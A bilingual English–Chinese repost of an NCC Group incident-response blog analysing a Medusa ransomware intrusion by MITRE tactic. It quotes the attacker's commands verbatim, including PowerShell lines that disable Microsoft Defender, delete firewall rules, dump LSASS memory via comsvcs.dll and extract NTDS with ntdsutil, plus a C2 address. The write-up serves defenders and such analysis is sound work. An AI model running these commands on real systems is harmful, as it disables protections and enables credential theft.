Don’t throw a hissy fit; defend against Medusa

Intro  介绍

Our technical experts have written a blog series focused on Tactics, Techniques and Procedures (TTP’s) deployed by four ransomware families recently observed during NCC Group’s incident response engagements.   
我们的技术专家撰写了一个博客系列，重点关注最近在 NCC Group 事件响应活动中观察到的四个勒索软件家族部署的战术、技术和程序 （TTP）。

In case you missed it, our last post analysed an Incident Response engagement involving the D0nut extortion group. In this instalment, we take a deeper dive into the Medusa. 
如果您错过了，我们的上一篇文章分析了涉及 D0nut 勒索团伙的事件响应参与。在本期中，我们将更深入地了解美杜莎。

Not to be confused with MedusaLocker, Medusa was first observed in 2021, is a Ransomware-as-a-Service (RaaS) often using the double extortion method for monetary gain. In 2023 the groups’ activity increased with the launch of the ‘Medusa Blog’. This platform serves as a tool for leaking data belonging to victims. 
不要与 MedusaLocker 混淆，Medusa 于 2021 年首次被观察到，是一种勒索软件即服务 （RaaS），通常使用双重勒索方法来获取金钱收益。2023 年，随着“美杜莎博客”的推出，这些团体的活动有所增加。该平台用作泄露属于受害者的数据的工具。

Summary  总结

This post will delve into a recent incident response engagement handled by NCC Group’s Cyber Incident Response Team (CIRT) involving Medusa Ransomware.  
这篇文章将深入探讨 NCC Group 的网络事件响应团队 （CIRT） 最近处理的涉及 Medusa Ransomware 的事件响应活动。

Below provides a summary of findings which are presented in this blog post: 
以下是这篇博文中介绍的调查结果摘要：

• Use of web shells to maintain access. 
  使用 Web Shell 来维护访问权限。
• Utilising PowerShell to conduct malicious activity. 
  利用 PowerShell 进行恶意活动。
• Dumping password hashes.  
  转储密码哈希。
• Disabling antivirus services.  
  禁用防病毒服务。
• Use of Windows utilises for discovery activities.  
  使用 Windows 用于发现活动。
• Reverse tunnel for C2. 
  C2 的反向隧道。
• Data exfiltration.   数据外泄。
• Deployment of Medusa ransomware. 
  部署美杜莎勒索软件。

Medusa   水母

Medusa ransomware is a variant that is believed to have been around since June 2021 [1]. Medusa is an example of a double-extortion ransomware where the threat actor exfiltrates and encrypts data. The threat actor threatens to release or sell the victim’s data on the dark web if the ransom is not paid. This means the group behind Medusa ransomware could be characterised as financially motivated. Victims of Medusa ransomware are from no particular industry suggesting the group behind this variant have no issue with harming any organisation.  
美杜莎勒索软件是一种变种，据信自 2021 年 6 月以来就已经存在 [1]。美杜莎是双重勒索勒索软件的一个例子，威胁行为者在其中泄露和加密数据。威胁行为者威胁说，如果不支付赎金，就会在暗网上发布或出售受害者的数据。这意味着美杜莎勒索软件背后的组织可以被描述为出于经济动机。美杜莎勒索软件的受害者来自任何特定行业，这表明该变体背后的组织对伤害任何组织都没有问题。

Incident Overview  事件概述

Initial access was gained by exploiting an external facing web server. Webshells were created on the server which gave the threat actor access to the environment. From initial access to the execution of the ransomware, a wide variety of activity was observed such as executing Base64 encoded PowerShell commands, dumping password hashes, and disabling antivirus services. Data was exfiltrated and later appeared on the Medusa leak site.  
初始访问权限是通过利用面向外部的 Web 服务器获得的。Webshell 是在服务器上创建的，它使威胁参与者能够访问环境。从最初访问到执行勒索软件，观察到各种各样的活动，例如执行 Base64 编码的 PowerShell 命令、转储密码哈希和禁用防病毒服务。数据被泄露，后来出现在美杜莎泄漏网站上。

Timeline  时间线

T – Initial Access gained via web shells.  
T – 通过 Web shell 获得的初始访问权限。

T+13 days – Execution activity. 
T+13 天 – 执行活动。

T+16 days – Persistence activity. 
T+16 天 – 持久性活动。

T+164 days – Defense Evasion activity. 
T+164 天 – 防御规避活动。

T+172 days – Persistence and Discovery activity. 
T+172 天 – 持久性和发现活动。

T+237 days – Defense Evasion and Credential Access Activity started. 
T+237 天 – 防御规避和凭据访问活动开始。

T+271 days – Ransomware Executed.  
T+271 天 – 勒索软件已执行。

Mitre TTPs  斜接 TTP

Initial Access  初始访问

The threat actor gained initial access by exploiting a vulnerable application hosted by an externally facing web server. Webshells were deployed to gain a foothold in the victim’s environment and maintain access.  
威胁参与者通过利用由面向外部的 Web 服务器托管的易受攻击的应用程序获得了初始访问权限。部署了 Webshell 以在受害者的环境中站稳脚跟并保持访问。

Execution  执行

PowerShell was leveraged by the threat actor to conduct various malicious activity such as:   
威胁参与者利用 PowerShell 进行各种恶意活动，例如：

• Downloading executables    下载可执行文件
  • Example: powershell.exe -noninteractive -exec bypass powershell -exec bypass -enc … 
    示例：powershell.exe -noninteractive -exec bypass powershell -exec bypass -enc …
• Disabling Microsoft Defender 
  禁用 Microsoft Defender
  • Example: powershell -exec bypass -c Set-MpPreference -DisableRealtimeMonitoring $true;New-ItemProperty -Path ‘HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender’ -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force; 
    示例：powershell -exec bypass -c Set-MpPreference -DisableRealtimeMonitoring $true;New-ItemProperty -Path ‘HKLM：\\\\SOFTWARE\\\\\Policies\\\\Microsoft\\\\Windows Defender’ -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force;
• Deleting executables   删除可执行文件
  • Example: powershell.exe -noninteractive -exec bypass del C:\\PRogramdata\\re.exe 
    示例：powershell.exe -noninteractive -exec bypass del C：\\PRogramdata\\re.exe
• Conducting discovery activity  
  开展发现活动
  • Example: powershell.exe -noninteractive -exec bypass net group domain admins /domain 
    示例：powershell.exe -noninteractive -exec bypass net group domain admins /domain

Windows Management Instrumentation (WMI) was utilised to remotely execute a cmd.exe process: wmic /node:<IP ADDRESS> / user:<DOMAIN\\USER> /password:<REDACTED> process call create ‘cmd.exe’. 
Windows Management Instrumentation （WMI） 用于远程执行 cmd.exe 进程：wmic /node： / user： /password：进程调用创建“cmd.exe”。

Scheduled tasks were used to execute c:\\programdata\\a.bat. It is not known exactly what a.bat was used for, however, analysis of a compiled ASPX file revealed the threat actor had used PowerShell to install anydesk.msi.  
计划任务用于执行 c：\\programdata\\a.bat。目前尚不清楚 a.bat 的确切用途，但是，对编译的 ASPX 文件的分析显示，威胁参与者已使用 PowerShell 安装 anydesk.msi。

• powershell Invoke-WebRequest -Uri hxxp://download.anydesk[.]com/AnyDesk.msi -OutFile anydesk.msi
• msiExec.exe /i anydesk.msi /qn

A cmd.exe process was started with the following argument list: c:\\programdata\\a.bat’;start-sleep 15;ps AnyDeskMSI 
cmd.exe 进程已启动，参数列表如下：c：\\programdata\\a.bat’;启动休眠 15;ps AnyDesk微星

Various services were installed by the threat actor. PDQ Deploy was installed to deploy LAdHW.sys, a kernel driver which disabled antivirus services. Additionally, PSEXESVC.exe was installed on multiple servers. On one server, it was used to modify the firewall to allow WMI connections.   
威胁参与者安装了各种服务。安装了PDQ Deploy来部署LAdHW.sys，这是一个禁用防病毒服务的内核驱动程序。此外，PSEXESVC.exe 安装在多个服务器上。在一台服务器上，它用于修改防火墙以允许 WMI 连接。

Persistence  坚持

Maintaining access to the victim’s network was achieved by creating a new user admin on the external facing web server (believed to be the initial access server). Additionally, on the two external facing web servers, web shells were uploaded to establish persistent access and execute commands remotely. JavaScript-based web shells were present on one web server and the GhostWebShell [2] was found on the other. The GhostWebShell is fileless however, its compiled versions were saved in C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\<APPLICATION NAME>\<HASH>\<HASH>. 
通过在面向外部的 Web 服务器（被认为是初始访问服务器）上创建一个新的用户管理员来实现对受害者网络的访问。此外，在两个面向外部的 Web 服务器上，上传了 Web Shell，以建立持久访问并远程执行命令。基于 JavaScript 的 Web Shell 存在于一台 Web 服务器上，而 GhostWebShell [2] 存在于另一台服务器上。GhostWebShell 是无文件的，但是，其编译版本保存在 C：\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\\\ 中。

Defence Evasion  防御规避

Evading detection was one of the aims for this threat actor due to the various defence evasion techniques utilised. Antivirus agents were removed from all affected hosts including the antivirus server. Microsoft Windows Defender capabilities were disabled by the threat actor using: powershell -exec bypass -c Set-MpPreference -DisableRealtimeMonitoring $true;New-ItemProperty -Path ‘HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender’ -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force;.  
由于使用了各种防御规避技术，逃避检测是该威胁行为者的目标之一。防病毒代理已从所有受影响的主机（包括防病毒服务器）中删除。威胁参与者使用以下方法禁用了 Windows Defender 功能Microsoft：powershell -exec bypass -c Set-MpPreference -DisableRealtimeMonitoring $true;New-ItemProperty -Path ‘HKLM：\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender’ -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force;。

Additionally, LAdHW.sys, a signed kernel mode driver was installed as a new service to disable antivirus services. The following firewall rule was deleted: powershell.exe -Command amp; {Remove-NetFirewallRule -DisplayName \”<Antivirus Agent Firewall Rule Name>\”. 
此外，LAdHW.sys（已签名的内核模式驱动程序）作为新服务安装，以禁用防病毒服务。删除了以下防火墙规则：powershell.exe -Command amp;{Remove-NetFirewallRule -DisplayName \“<防病毒代理防火墙规则名称>\”。

The threat actor obfuscated their activity. Base64 encoded PowerShell commands were utilised to download malicious executables. It should be noted many of these executables such as JAVA64.exe and re.exe were deleted after use. Additionally, Sophos.exe (see below) which was packed with Themida, was executed.  
威胁行为者混淆了他们的活动。Base64 编码的 PowerShell 命令用于下载恶意可执行文件。应该注意的是，其中许多可执行文件（如 JAVA64.exe 和 re.exe）在使用后被删除。此外，还执行了装有Themida的Sophos.exe（见下文）。

The value of HKLM\SYSTEM\ControlSet001\Control\SecurityProviders\WDigest\\UseLogonCredential was modified to 1 so that logon credentials were stored in cleartext. This enabled the threat actor to conduct credential dumping activities. 
HKLM\SYSTEM\ControlSet001\Control\SecurityProviders\WDigest\\UseLogonCredential 的值已修改为 1，以便登录凭据以明文形式存储。这使威胁参与者能够执行凭据转储活动。

Credential Access  凭据访问

The following credential dumping techniques were utilised by the threat actor:  
威胁参与者使用了以下凭据转储技术：

• Using the Nishang payload to dump password hashes. Nishang is a collection of PowerShell scripts and payloads. The Get-PassHashes script, which requires admin privileges, was used.  
  使用 Nishang 有效负载转储密码哈希。Nishang 是 PowerShell 脚本和有效负载的集合。使用了需要管理员权限的 Get-PassHashes 脚本。
• Mimikatz was present on one of the external facing web servers, named as trust.exe. A file named m.txt was identified within C:\Users\admin\Desktop, the same location as the Mimikatz executable. 
  Mimikatz 存在于一个名为 trust.exe 的面向外部的 Web 服务器上。在 C：\Users\admin\Desktop 中标识了一个名为 m.txt 的文件，该文件与 Mimikatz 可执行文件的位置相同。
• An LSASS memory dump was created using the built-in Windows tool, comsvcs.dll. 
  LSASS 内存转储是使用内置的 Windows 工具 comsvcs.dll 创建的。
  • powershell -exec bypass -c “rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump ((ps lsass).id) C:\programdata\test.png full 
    powershell -exec 绕过 -c “rundll32.exe C：\windows\System32\comsvcs.dll， MiniDump （（ps lsass）.id） C：\programdata\test.png 已满
• he built-in Windows tool ntdsutil.exe was used to extract the NTDS:  
  他内置的Windows工具ntdsutil.exe用于提取NTDS：
  • powershell ntdsutil.exe ‘ac i ntds’ ‘ifm’ ‘create full c:\programdata\nt’ q q 
    Powershell NTDSutil.exe ‘ac i ntds’ ‘ifm’ ‘创建完整的 C：\ProgramData\NT’ Q Q

Discovery  发现

The threat actor conducted the following discovery activity: 
威胁参与者执行了以下发现活动：

Lateral Movement  横向移动

Remote Desktop Protocol (RDP) was employed to laterally move through the victim’s network. 
远程桌面协议 （RDP） 用于在受害者的网络中横向移动。

Command and Control  指挥与控制

A reverse tunnel allowed the threat actor to establish a new connection from a local host to a remote host. The binary c:\programdata\re.exe was executed and connected to 134.195.88[.]27 over port 80 (HTTP). Threat actors tend to use common protocols to blend in with legitimate traffic which can be seen in this case, as port 80 was used. 
反向隧道允许威胁参与者建立从本地主机到远程主机的新连接。二进制 c：\programdata\re.exe 已执行并连接到 134.195.88[.]27 通过端口 80 （HTTP）。威胁行为者倾向于使用通用协议来混合合法流量，在这种情况下可以看出，因为使用了端口 80。

Additionally, the JWrapper Remote Access application was installed on various servers to maintain access to the environment. AnyDesk was also utilised by the threat actor.  
此外，JWrapper 远程访问应用程序安装在各种服务器上，以保持对环境的访问。AnyDesk也被威胁行为者使用。

Exfiltration  外泄

Data was successfully exfiltrated by the threat actor. The victim’s data was later published to the Medusa leak site.  
威胁参与者已成功泄露数据。受害者的数据后来被发布到美杜莎泄密网站。

Impact  冲击

The Medusa ransomware in the form of gaze.exe, was deployed to the victim’s network. Files were encrypted, and .MEDUSA was appended to file names. The ransom note was named !!!READ_ME_MEDUSA!!!.txt. System recovery was inhibited due to the deletion of all VMs from the Hyper-V storage as well as local and cloud backups.  
Medusa 勒索软件以 gaze.exe 的形式部署到受害者的网络。文件已加密，并且 .MEDUSA 被追加到文件名中。赎金票据被命名为!!READ_ME_MEDUSA!!!..txt。由于从 Hyper-V 存储中删除了所有 VM 以及本地和云备份，因此系统恢复受到抑制。

Indicators of Compromise 
入侵指标

MITRE ATT CK®

References  引用

[1] https://www.bleepingcomputer.com/news/security/medusa-ransomware-gang-picks-up-steam-as-it-targets-companies-worldwide/

[2] https://www.mdsec.co.uk/2020/10/covert-web-shells-in-net-with-read-only-web-paths/

原文始发于Molly Dewis：Don’t throw a hissy fit; defend against Medusa